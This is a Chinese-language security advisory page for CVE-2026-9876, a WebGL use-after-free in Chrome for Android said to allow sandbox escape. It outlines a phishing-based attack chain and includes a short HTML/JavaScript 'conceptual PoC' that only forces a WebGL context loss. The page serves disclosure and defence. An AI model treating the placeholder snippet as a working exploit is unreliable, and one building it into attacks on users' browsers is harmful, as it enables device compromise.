IPBUF安全漏洞报告
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CVE-2026-9876 CVSS 9.6 严重

CVE-2026-9876 Google Chrome WebGL沙箱逃逸漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9876
漏洞类型
Use After Free (UAF)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome (Android)

相关标签

Use After FreeWebGLSandbox EscapeRCEGoogle ChromeAndroidCVE-2026-9876

漏洞概述

Google Chrome Android版本在WebGL组件中存在释放后重用(UAF)漏洞。攻击者可以通过精心构造的HTML页面触发该漏洞,导致沙箱逃逸。该漏洞影响修复版本之前的Chrome浏览器,攻击者无需认证即可利用,具有极高的机密性、完整性和可用性影响风险。

技术细节

该漏洞源于Google Chrome for Android中WebGL组件的内存管理错误,属于典型的释放后重用(UAF)漏洞。在处理复杂的WebGL图形指令时,浏览器未能有效校验对象的有效性,导致在内存块被释放后再次被引用。攻击者可以诱导目标用户访问包含特制WebGL代码的恶意HTML页面。通过精心堆布局和内存喷射技术,攻击者能够控制已释放内存的内容,从而劫持程序执行流。由于该漏洞存在于浏览器渲染进程中,成功利用可使攻击者绕过Chrome的沙箱防护机制,实现沙箱逃逸,最终在Android系统上执行任意代码,完全控制受影响设备。

攻击链分析

STEP 1
1. 准备阶段
攻击者分析Chrome WebGL组件源码,发现UAF漏洞点,并编写包含恶意WebGL代码的HTML页面。
STEP 2
2. 投递阶段
攻击者通过网络钓鱼、恶意广告或 compromised 网站将恶意HTML页面分发给目标用户。
STEP 3
3. 触发阶段
目标用户使用存在漏洞的Chrome浏览器访问恶意页面,浏览器解析并执行WebGL代码,触发释放后重用漏洞。
STEP 4
4. 利用与逃逸
攻击者利用UAF漏洞控制渲染进程内存,绕过沙箱限制(Sandbox Escape),在Android系统层执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Conceptual PoC for CVE-2026-9876 WebGL UAF --> <html> <body> <script> // Step 1: Initialize WebGL Context var canvas = document.createElement('canvas'); var gl = canvas.getContext('webgl'); if (!gl) { alert('WebGL not supported'); } // Step 2: Create resources to manipulate memory var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW); // Step 3: Trigger the Use-After-Free condition // The specific sequence depends on the internal bug details. // Usually involves forcing a context loss or specific deletion while holding a reference. function triggerVulnerability() { // Simulate the bug trigger logic var extension = gl.getExtension('WEBGL_lose_context'); if (extension) { extension.loseContext(); // Forces cleanup/free of internal objects } // Attempt to access the freed object (Crash or Exploit) // This is where the attacker would attempt to write to the freed memory. try { gl.bufferSubData(gl.ARRAY_BUFFER, 0, new DataView(new ArrayBuffer(8))); } catch (e) { console.log('Expected behavior if context lost, but exploit targets the window before full cleanup'); } } triggerVulnerability(); </script> </body> </html>

影响范围

Google Chrome (Android) < 148.0.7778.216

防御指南

临时缓解措施
在未完成官方补丁更新前,用户应限制对不可信网站的浏览,并谨慎处理来历不明的链接。企业网络管理员可部署Web代理网关,过滤包含恶意WebGL特征的流量,以降低攻击风险。

参考链接

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